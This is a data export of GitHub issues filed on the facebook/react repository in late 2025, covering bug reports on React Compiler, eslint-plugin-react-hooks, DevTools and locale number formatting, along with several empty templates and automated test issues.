`npm warn deprecated @babel/plugin-proposal-private-methods@7.18.6: This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-private-methods instead.`

Also, zod@3 is installed, when v4 has been out for a while now. Would appreciate if you could save us the duplicate dependency.",Status: Unconfirmed,2025-10-02T15:19:22Z,2025-10-03T22:09:37Z,3
facebook/react,3477542563,Bug: Intl.NumberFormat returns incorrect thousand separators,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1. Use code snippet
// Format number for a given locale
function formatNumberForLocale(number, locale) {
  const loc = 'ch-DE';
  try {
    return new Intl.NumberFormat(loc, {
      minimumFractionDigits: 2,
      maximumFractionDigits: 2
    }).format(number);
  } catch (e) {
    return String(number);
  }
}

// Example of use
const localeInput = 'de-CH'; // User-Input (e.g. 'de-CH', 'en-US', ...)
const number = 123456.789;

console.log('Number:', formatNumberForLocale(number, localeInput));

## The current behavior
Number : 123’456.79 (U+2019)

## The expected behavior
Number : 123'456.79 (U+0027)

see also: https://en.wikipedia.org/wiki/Decimal_separator#cite_note-switzerland-51",Status: Unconfirmed,2025-10-02T13:29:40Z,2025-10-02T14:52:29Z,0
facebook/react,3476079634,[Compiler Bug/Discussion]: `react-hooks/preserve-manual-memoization` Questions,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEAZmgDZ4IwByEAJgmMTBBgQOQACAdgNYBeAdwD0cXAiElylGvTAA6AFZg2AbgA6XTDnwEAyngCGcHgBoCwAgDV9RngQC+TFu279hYQ8dUatuQhYAlBCIAeQAjBQQ4PDMoMAQAUSIiKJiCOIQAWQQMCFj4oKIHJ1Y2GAQjPG9NbD9zAgBzGAMsAAsAR1J8hAAFAwa0LgM8NAguADFmhowELkJHImZS8sqAWnLSAwBPIVaICB55JWrfHQsAISg8PDHixec2OTkhKDQhS+uxuTwwAA8T2pnAgAKQgYQAMmgPAB9co4MBoG4wLYAEh4CC2dyW7Ge0OhDVmlGGCFoeKEoIhULwsIQ8MRuC2ciaLQ6pG+ynUNW0-hBYMhHgAilBKJiFtjHkI8QSuESKKToeS+VShSKmc02p12QDuQQgnSkVsKfy8ABJCise6lZ56iAIg1GqlmnLs-6cjSiLgeAiiKBzAgAXgIAEYAAxumW-HV4LZYBC64IIPBwVoOjzjLgB+N4WBcAAqMYQAB4NAQCNHYxAihk+gMhiMxpN+jM5hoAHwAbTKCaTrTYAF1wwhI3V6EQDFByMRfdFRhnU3gABTAEsEcopHuFEwruG2+nIrdcezIczb7vJwoAfmPhXCkWihcKieT8-TBAAPgQuBPSK3OaWd3aDLHvONL6gyaIYpy9gAJQnhm3pjF6Fi0MMBhmK0BhgFQQ5pFC4IQAYtCDA02G-GkpAEbQpFpGuT6tMU-orqW1b9IMwyzo20yzIQha8pSgrCvufHGqBu4GhBWytgQC5MaWjTqqyAAGslyUwTbccJVKiYByIELcNo6VsKlyRwBgwA0UDNngAAiwSDIis5gDJ8GqapPpzMeFjlggx5qCAJpzAAhH5DjGW5sCQDAnllgWvkgPoMDEX5ZijuO5CWAYpDCseX6kKQoUua50FhQQHC0T2BhhKQCALlgtEwOMdGVdVx54DAwpmO0glbFQBgzHF84qsifmwcuhWuQQaC0BoJWlgoYJOSQMAeMeKLu... [TRUNCATED]","Type: Question,Component: React Compiler",2025-10-02T05:26:33Z,2025-10-03T23:13:37Z,2
facebook/react,3476005054,Bug: eslint-plugin-react-hooks v.6.1.0 recommended config uses array instead of object,"Not sure if this is technically a bug, or just a convention choice.

It's not possible to use the recommended config directly in a flat eslint config array in version 6.1.0

The `recommended-latest` config (now deprecated) will work, but the new `recommended` config will not.

The plugin is defined as:

```
Object.assign(plugin.configs, {
    'recommended-legacy': {
        plugins: ['react-hooks'],
        rules: ruleConfigs,
    },
    'flat/recommended': [
        {
            plugins: {
                'react-hooks': plugin,
            },
            rules: ruleConfigs,
        },
    ],
    'recommended-latest': [
        {
            plugins: {
                'react-hooks': plugin,
            },
            rules: ruleConfigs,
        },
    ],
    recommended: {
        plugins: ['react-hooks'],
        rules: ruleConfigs,
    },
});
```

The last property should be

```
    recommended: {
         plugins: {
             'react-hooks': plugin,
         },
        rules: ruleConfigs,
    },
```

as per https://eslint.org/docs/latest/use/configure/configuration-files#configuration-objects which states

> plugins - An object containing a name-value mapping of plugin names to plugin objects. When files is specified, these plugins are only available to the matching files.

React version: 19.1.1

## Steps To Reproduce

```
// eslint.config.js
import jsEslint from '@eslint/js';
import reactHooks from 'eslint-plugin-react-hooks';
import { defineConfig } from 'eslint/conf... [TRUNCATED]",Status: Unconfirmed,2025-10-02T04:50:27Z,2025-10-02T22:52:53Z,24
facebook/react,3475794075,[Workflow v3.0 Test] Real-time Chat App Project Validation,"## Workflow System v3.0 - Real End-to-End Test

This issue validates the complete workflow from user conversation to project creation.

### Project Created
- **Name**: Real-time Chat Application v3.0 Test
- **ID**: b401fb05-3c67-426d-a921-0a7b1a3c3023
- **Status**: Planning
- **Priority**: HIGH

### Features Created
1. User Authentication System (94ca7efe-b8ce-4b47-a476-eb3aae2636c7)
2. Real-time Chat System (82d7ccba-0d21-458f-8190-99a2ddff83d2)

### Tasks Created
1. Implement JWT Authentication Backend (73316a61-07b4-43b6-9624-bbd4ca33425d) - 6 sections
2. Setup Socket.io Server and Client (58877c6b-2b32-4c7b-980a-2c654b0bed16) - 9 sections

### Test Results
- ✅ task-orchestrator: Working
- ✅ hybrid-memory: Working  
- ✅ Templates: Applied (2-3 templates per task)
- ✅ Overview: Retrieved successfully

### Tech Stack
- Frontend: React 18 + TypeScript
- Backend: Node.js + Express
- Database: MongoDB
- Real-time: Socket.io
- Auth: JWT

**Test Date**: October 2, 2025
**Test Type**: Real MCP calls - NO MOCK DATA",,2025-10-02T02:54:35Z,2025-10-02T14:55:06Z,0
facebook/react,3474766950,Test from Workflow System v3.0,"Testing GitHub MCP integration from Cursor Workflow System v3.0.0

This is an automated test to verify:
- ✅ GitHub MCP connection
- ✅ Issue creation
- ✅ Real MCP integration

System: Workflow Orchestrator v3.0
Date: October 2, 2025",,2025-10-01T19:06:20Z,2025-10-01T19:22:53Z,1
facebook/react,3471068344,Bug: ViewTransition can stall transitions for ~60s,Repro here: https://codesandbox.io/p/sandbox/repro-transition-stall-54mwcx,Status: Unconfirmed,2025-09-30T21:04:19Z,2025-10-02T01:58:14Z,0
facebook/react,3464287827,[Compiler Bug]: Please fix `eslint-plugin-react-hooks`,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwFkBPAQU0wApgrAGJNKCAMoJxjAL4BKfMAA6bfHFZgCMUvgC8+KGAQAlUvzpVK8gNyr8+HblhsAPEzqYo20nuA6SWXxcTkwEPWUQEjEESPxWAGEACzI6AHNw4H4EADcEOlxFPQA+JXsHdU0CXDIYDIIDXPzcADoauoRcOzUHJhJ8fnb6lujxMEUVHoqRGKkZXH5uGBgyThGYCABbQdrh0YRx23KK4N3OlpyySigEfXwAcnvuk9ly2Ve6YoAJaUoIfAA6jhKIRXAB6DxeXDFbofEAAGhAGjo0TSKBATE22DwwVCt2A+AACtc0h4APKYZiafBBEgbTYPABGZEZ0gAtJgSR42ToyIw2RosTEYGDCEwtE9VKpBOUwWDBZgxGQqXR2BBiMh8JErpRIqogmBleLogcibVmFdXMSoKS6BSVWBirYEeAkhAAO4ASQKCBgdCuYBQ5EoxlkQA

### Repro steps

Back in April, [it was announced](https://react.dev/blog/2025/04/21/react-compiler-rc) that `eslint-plugin-react-compiler` was merged into `eslint-plugin-react-hooks`. Since then, `eslint-plugin-react-hooks` has been in a state of confusion:

* The version tagged as ""latest"" on npm is still `5.2.0`, which is incompatible with ESLint v9.
* The version tagged as ""rc"" is `6.0.0-rc.2`. `6.0.0` was published (accidentally?) and is in a broken state, and is deprecated with `This stable release was published by accident... [TRUNCATED]","Type: Bug,Component: React Compiler",2025-09-29T10:27:59Z,2025-10-04T18:38:42Z,3
facebook/react,3462354023,Illegal Constructor error if ViewTransition is not imported,"If you forget to import `ViewTransition` from React, the error is:

>  Uncaught TypeError: Illegal constructor 

This is because `ViewTransition` exists on the window.

## Screenshot

<img width=""1105"" height=""691"" alt=""Image"" src=""https://github.com/user-attachments/assets/972d5036-e0a8-4a99-96f5-65f0570e2308"" />","Status: Unconfirmed,Resolution: Stale",2025-09-28T18:31:46Z,2026-01-04T07:07:02Z,2
facebook/react,3461843810,Bug: react-hooks/incompatible-library not found,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

eslint-plugin-react-hooks version: [6.0.0-rc.2](https://www.npmjs.com/package/eslint-plugin-react-hooks/v/6.0.0-rc.2) (latest RC at time of writing)

## Steps To Reproduce

1. `pnpm add --save-dev eslint eslint-plugin-react-hooks@6.0.0-rc.2`
2. Create `eslint.config.js` with `""react-hooks/incompatible-library"": ""error"",` following [`incompatible-library` docs page](https://react.dev/reference/eslint-plugin-react-hooks/lints/incompatible-library) by @poteto in https://github.com/reactjs/react.dev/pull/7986
3. `pnpm eslint .`
4. Observe error `Could not find ""incompatible-library"" in plugin ""react-hooks""` 💥 (more output below)

```bash
➜  workspace git:(main) ✗ pnpm eslint .

Oops! Something went wrong! :(

ESLint: 9.36.0

TypeError: Key ""rules"": Key ""react-hooks/incompatible-library"": Could not find ""incompatible-library"" in plugin ""react-hooks"".
    at throwRuleNotFoundError (/project/workspace/node_modules/.pnpm/eslint@9.36.0/node_modules/eslint/lib/config/config.js:100:16)
    at Config.validateRulesConfig (/project/workspace/node_modules/.pnpm/eslint@9.36.0/node_modules/eslint/lib/config/config.js:603:5)
    at new Config (/project/workspace/node_modules/.pnpm/eslint@9.36.0/node_modules/eslint/lib/config/config.js:484:9)
    at [finalizeConfig... [TRUNCATED]",Status: Unconfirmed,2025-09-28T13:13:38Z,2025-10-05T15:56:01Z,2
facebook/react,3460744462,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-09-27T21:13:25Z,2025-09-28T00:27:03Z,0
facebook/react,3460416255,[playground]: Syntax error crashes playground,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAKgmDgMIQC2ADoQpjgBR0wR1gCURwAOsSJxCFIhE5giAXiLtJAOkGCiRGAhyxiLFaqIAeAHzAJXAL76A9Id3cA3ILMgANCBGY0eAOYoQeehAwOEQ4AJ50CHxEAAoANlBeeJgA8nT4okRmRGgcNEQA5ABGAIaFCLEAtHTxiZgV6sW4FSL0eLEIMJYAJngU+Q6YgiwCQpaWLXRtxemYALIQXQjIRPwgxbGxq45EYNO9nuQxNUmpMzx2LuAAFhAA7gCSzB2Y62AoaK8IZkA

### Repro steps

Create a syntax error in the playground.

For example, paste the following code into the playground:

```tsx
function TestComponent(props) {
  const oops = props.

  return (
    <>{oops}</>
  );
}
```

### How often does this bug happen?

Every time

### What version of React are you using?

latest

### What version of React Compiler are you using?

latest","Type: Bug,Status: Unconfirmed",2025-09-27T14:58:11Z,2025-10-09T19:02:57Z,2
facebook/react,3459019469,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: [19.1.1](https://github.com/facebook/react/releases/tag/v19.1.1)

## Steps To Reproduce

1. New mac.
2. Install dependencies listed in [Contribution Guide](https://legacy.reactjs.org/docs/how-to-contribute.html#contribution-prerequisites)
3. Open [CONTRIBUTING.md](https://github.com/facebook/react/blob/main/packages/react-devtools/CONTRIBUTING.md) from React Devtools
4. Follow directions for ""Build React and React DOM""
5. From Option 1, ""./download-experimental-build.js --commit=main"" command fails with following error:
```
⠴ Downloading artifacts from GitHub for commit main)
The workflow run for the specified commit (main) could not be found.
```
6. From Option 2, command ""yarn build-for-devtools"" fails with error listed in ""Current behavior""

# Dependency versions:
```
%  java -version
java version ""25"" 2025-09-16 LTS
Java(TM) SE Runtime Environment (build 25+37-LTS-3491)
Java HotSpot(TM) 64-Bit Server VM (build 25+37-LTS-3491, mixed mode, sharing)
```

JDK is v.25, from [Java page](https://www.oracle.com/java/technologies/downloads/#jdk25-mac)


## The current behavior

yarn build-for-devtools fails with:

```
% yarn build-for-devtools
yarn run v1.22.22
$ cross-env RELEASE_CHANNEL=experimental yarn build react/index,react/jsx,re... [TRUNCATED]",Status: Unconfirmed,2025-09-26T20:24:57Z,2025-10-04T18:39:04Z,1
facebook/react,3454582462,[DevTools Bug] Cannot read properties of undefined (reading 'length'),"### Website or app

internal application

### Repro steps

This issue occurred after I enabled the option to highlight component updates in the interface and tried to record them using the React DevTools profiler. I had also enabled the ""Record why each component rendered while profiling"" profiling option.

<img width=""921"" height=""800"" alt=""Image"" src=""https://github.com/user-attachments/assets/34e1e0ac-3186-4dd5-86bd-63a03742bf10"" />

### How often does this bug happen?

Every time

### DevTools package (automated)

react-devtools-extensions

### DevTools version (automated)

6.1.5-5d87cd2244

### Error message (automated)

Cannot read properties of undefined (reading 'length')

### Error call stack (automated)

```text
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1224203
    at he.getFlamegraphChartData (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1224614)
    at CommitFlamegraphAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1473032)
    at renderWithHooks (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:66690)
    at updateFunctionComponent (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:96942)
    at beginWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:110959)
    at performUnitOfWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:182534)
    at workLoopSync (chrome-extension://fmkadmapgofadopljbjfkapdk... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-09-25T17:56:06Z,2025-10-13T10:10:01Z,4
facebook/react,3453884393,"[DevTools Bug] Cannot add child ""43538"" to parent ""35533"" because parent node was not found in the Store.","### Website or app

Private software development - sorry

### Repro steps

Trying to inspect a component.

### How often does this bug happen?

Every time

### DevTools package (automated)

react-devtools-extensions

### DevTools version (automated)

6.1.5-5d87cd2244

### Error message (automated)

Cannot add child ""43538"" to parent ""35533"" because parent node was not found in the Store.

### Error call stack (automated)

```text
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1237326
    at v.emit (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1203447)
    at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1205054
    at bridgeListener (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1620565)
```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text
https://api.github.com/search/issues?q=Cannot add child  to parent  because parent node was not found in the Store. in:title is:issue is:open is:public label:""Component: Developer Tools"" repo:facebook/react
```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-09-25T14:23:35Z,2025-10-12T13:03:09Z,2
facebook/react,3453092216,Bug: ExhaustiveDeps issues for useId,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->
When I don't set the value of useId in the deps of useEffect, it shows a warning.
I am using biome which uses eslint react hooks rule, so I want ExhaustiveDeps.ts to be updated.

- biome: https://github.com/biomejs/biome/blob/b091ddf73d323a6929b9601f05ede7e91e4d4cbb/crates/biome_js_analyze/src/lint/correctness/use_exhaustive_dependencies.rs#L264

The useId hook returns stable and immutable value so I believe it can be excluded from deps.

https://github.com/facebook/react/blob/c44fbf43b1e05417619c3b9411d0559824739569/packages/react-reconciler/src/ReactFiberHooks.js#L3489

React version: 19.1.0

## Steps To Reproduce

```typescript
""use client""
import {useEffect, useId} from ""react"";

function Component() {
  const someId = useId()

  // This hook does not specify its dependency on someId. (lint/correctness/useExhaustiveDependencies)
  useEffect(() => {
    console.log(someId)
  }, []);

  return null
}
```

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minima... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-09-25T10:57:01Z,2025-12-31T11:05:34Z,2
facebook/react,3447534312,Bug: RDT commonly fails to find source,"When using RDT it commonly fails to open to find the source of a functional component. In my testing the functional component must have a hook to find its source.

I'm guessing if RDT would switch back to using something like what happened before this commit https://github.com/facebook/react/commit/e5287287aacd3c51d24e223651b7f38ece584c49#diff-1237c8d5ba2b9883dbe73805ad8bebd84cb20ae1aec03855e545a4be0b0684f9 would fix this problem. It could use `$r.type` instead of `$type`

React Version: 19.1.1
React Devtools version: 6.1.5 

## Steps To Reproduce

1.Open RDT
2.Try to view source of a function component without a hook

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

Example of this happening is on https://nlkwvr.csb.app/

## The current behavior
Button is disabled when functional component has no hooks

## The expected behavior
Button to not be disabled and just work","Status: Unconfirmed,Component: Developer Tools,Resolution: Stale",2025-09-24T04:02:37Z,2026-01-16T04:20:01Z,12
facebook/react,3446895820,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-09-23T22:59:31Z,2025-09-24T00:48:46Z,0
facebook/react,3446895740,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-09-23T22:59:27Z,2025-09-24T00:48:59Z,0
facebook/react,3446895683,Bug:Mohand,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-09-23T22:59:23Z,2025-09-24T00:48:37Z,0
facebook/react,3441859193,Bug: Prototype Pollution via vulnerable minimist version,"<!--
 High/Critical. Prototype Pollution (CVE-2021-44906) in minimist versions < 1.2.6.
Exploitable via crafted CLI arguments when used by build/test/release scripts, potentially leading to unexpected behavior, overwriting of config values, and in certain toolchains, code execution paths.

-->

React version:

react: 19.1.1
react-dom: 19.1.1
Node: v22.15.0
npm: 10.9.2
OS/Browser: Linux; Android 6.0 (Nexus 5); Chrome 140.0.0.0 Mobile

## Steps To Reproduce

1. Render an <svg> that contains a <g> whose transform is computed from state/props.
2. Update the position dynamically (e.g., switch from one {x,y} to another via useState + setTimeout/useEffect).
3. Observe the console during the update. Intermittently, React throws an internal error and the component fails to 
    render.


Link to code example:

Minimal inline example below (no external dependencies).
Codesandbox repro (optional): https://codesandbox.io/s/new with the code below.

import { useState, useEffect } from ""react"";

const stops = [
  { x: 0, y: 0 },
  { x: 100, y: 100 }
];

function Car({ stop }) {
  if (!stop) return null;
  return (
    <svg width=""200"" height=""200"">
      <g transform={`translate(${stop.x} ${stop.y})`}>
        <image
          href=""https://dummyimage.com/50x50/000/fff.png&text=car""
          width={50}
          height={50}
        />
      </g>
    </svg>
  );
}

export default function Map() {
  const [current, setCurrent] = useState(0);
  useEffect(() => {
    const t = setTimeout(() =... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-09-22T16:50:26Z,2025-12-30T10:06:22Z,3
facebook/react,3440689698,Bug: Internal React error: Expected static flag was missing al renderizar SVG dinámico,"# Internal React error: Expected static flag was missing al renderizar SVG dinámico

### Describe el problema
Al renderizar un `<svg>` con elementos dinámicos dentro (como un `<g>` con `<image>`) en React 19.1.1, React lanza el siguiente error:

```
Internal React error: Expected static flag was missing. Please notify the React team.
```

Esto ocurre de manera intermitente al montar el componente `Map`, que contiene un SVG con un coche animado y varias paradas.

---

### Lo que esperaba
Que la animación y renderizado del SVG funcione sin lanzar errores internos de React.

---

### Lo que pasó
React lanza el error mencionado y la aplicación falla en la consola.

---

### Información del entorno

- **React:** 19.1.1  
- **React DOM:** 19.1.1  
- **Node:** v22.15.0  
- **npm:** 10.9.2  
- **Sistema operativo / navegador:**  
  ```
  Linux; Android 6.0; Nexus 5
  Chrome 140.0.0.0 Mobile Safari/537.36
  ```
- **Mensaje completo del error y stack trace:**
```
Map.jsx:123 Internal React error: Expected static flag was missing. Please notify the React team.
    <Car>		
    Map @ Map.jsx:123
    <Map>		
    Home @ Home.jsx:15
    <Home>		
    Router @ Router.jsx:35
    <Router>		
    App @ App.jsx:17
    <App>		
    (anonymous) @ main.jsx:4
```

---

### Steps To Reproduce

1. Renderizar un componente que tenga un `<svg>` con un `<g>` que contenga un `<image>` dentro.  
2. Cambiar dinámicamente la posición del `<g>` (por ejemplo, con `useState` y `useEffect`).  
3. Observar cómo React... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-09-22T12:18:01Z,2025-12-31T13:15:17Z,6
facebook/react,3436697851,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-09-20T05:47:22Z,2025-09-20T05:50:56Z,0
facebook/react,3434712999,Bug: Improve clarity of “Objects are not valid as a React child” error message,"When passing an object as a child, React currently shows:

Objects are not valid as a React child (found: [object Object])

For beginners, this message can be confusing. It may be more helpful if the error:
- Suggests checking for JSON.stringify(obj) or mapping over arrays of objects.
- Provides a link to relevant docs.

Proposal: Update the error message to something like:

""Objects cannot be rendered as children. Did you mean to convert it to a string with JSON.stringify(obj), or render its properties in JSX?""

This would make the error more beginner-friendly and reduce common confusion.


React version:  18.x (latest stable)

## Steps To Reproduce

1 - Create a new React app (e.g., with create-react-app, Vite, or CodeSandbox).

2 - Add the following component:

export default function App() {
  const obj = { name: ""React"" };
  return <div>{obj}</div>;
}


3 - Run the application.
","Status: Unconfirmed,Resolution: Stale",2025-09-19T14:55:23Z,2025-12-30T20:06:18Z,3
facebook/react,3431288964,Bug: React roots are announced as clickable to screen readers [ Please reopen Issue #20895 ],"React version: 17.0.1

Steps To Reproduce
Activate your screen reader
I used [NVDA](https://www.nvaccess.org/), but [JAWS](https://www.freedomscientific.com/products/software/jaws/) would also work
This will not work with VoiceOver because it does not have the same heuristic about elements with click handlers
Go to a page that has one or more React 17 root nodes. For example: https://qc9xj.csb.app/
Use the regular navigation of your screen reader to explore the page
In the case of NVDA, this would be using Arrow keys up and down
Hear your screen reader announcing the H2 as ""clickable""
Link to code example: https://codesandbox.io/s/epic-babbage-qc9xj (https://qc9xj.csb.app/)

The current behavior
Here is the log of what NVDA says as I'm navigating the page:

content info landmark heading level 1 This is a static HTML footer
(I press Arrow Down)
clickable heading level 2 This is a heading within a React application.
(I press Arrow Down)
banner landmark heading level 1 This is a static HTML header

The expected behavior
It should not announce the heading as clickable/interactive. Here is what it would sound like without React on the page:

content info landmark heading level 1 This is a static HTML footer
(I press Arrow Down)
heading level 2 This is a heading within a React application.
(I press Arrow Down)
banner landmark heading level 1 This is a static HTML header

It should be noted that this is how it used to work in React 16 because the delegation of events was done on the... [TRUNCATED]",Status: Unconfirmed,2025-09-18T17:21:35Z,2025-09-18T19:17:07Z,1
facebook/react,3427747212,[Compiler] Reading external mutable state,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhHANgQzGABAFQTABddgAdAO11zgkpJijmIhgAoBKM3YgCwCWYAHQB9AG6Z0UIrgC8ZAL4BuXIqo0A5gmLsBAE24VqNXOh24YshfyFjJ0ogG0DAXWUbTAgGa52AQiswbiD5HgByYgQAD2Jw5Fxw8LUPExorYlhqINSadRMwHT19ABpeGOIjTxpzUgQw4ESo2Pjy2JTq3kERCSkZMBd9VzCEXLUqFSoqSRhykjDKBAB3AiJdTlSqGIAHNlJvKEoWAXpVkgBhCABbXcXKXUbFKpNyEChC3EoIXCuEK4hXmM6AxSE4oNt9JgomVvGxEABVCFQhDDBTvBAAZWIyPYxCYCA2nlquAMYQAjGNiQAjMJREjCbS6AyEkzEhDoMLsAA8hFiADEBOz9LgANYIACecnC3kF6H0ySwVPZUsIJAElE0uBlQuSDhkcmAVOEzWIilw9HOfEwGoQBvYBPkAD4eHTiMJCkzSrgEMbMDBGcI9QTVLD4AhEZCogFwZHg2ozQB6R0s9I6LJ+Ln6ATiR3AdmKLkJrM5lmTShTRbRXYwUj6BDeTBQdD7Q7HU4AWXFAEFttsuGRPBl0zy1pcbvQEPdcEnUvkQCU0PQZZoUCABOOa7xxdt6o0AArSTTqgDy22IJwYai1MGuiSpmCV6AAtNtD+qn1ZMCwn3QbgJzDARZCHEmyUOwxg0AmCa-ts-5Qhe7YQHWCSvFI6CvBMuBgPBYDange5+ueUhcgeUBHpQp7nvQYDJso87gHwEBLAAkvcCAwJQUhgCgDboIUihAA

### Repro steps

See the playground above - if you remove ""use no memo"", the generated code caches away the calls to test.get(1) as it incorrectly thinks that it always returns the same thing, and as a result, the TextField doesn't get updated pro... [TRUNCATED]","Type: Question,Component: React Compiler",2025-09-17T20:43:30Z,2025-10-05T16:07:59Z,7
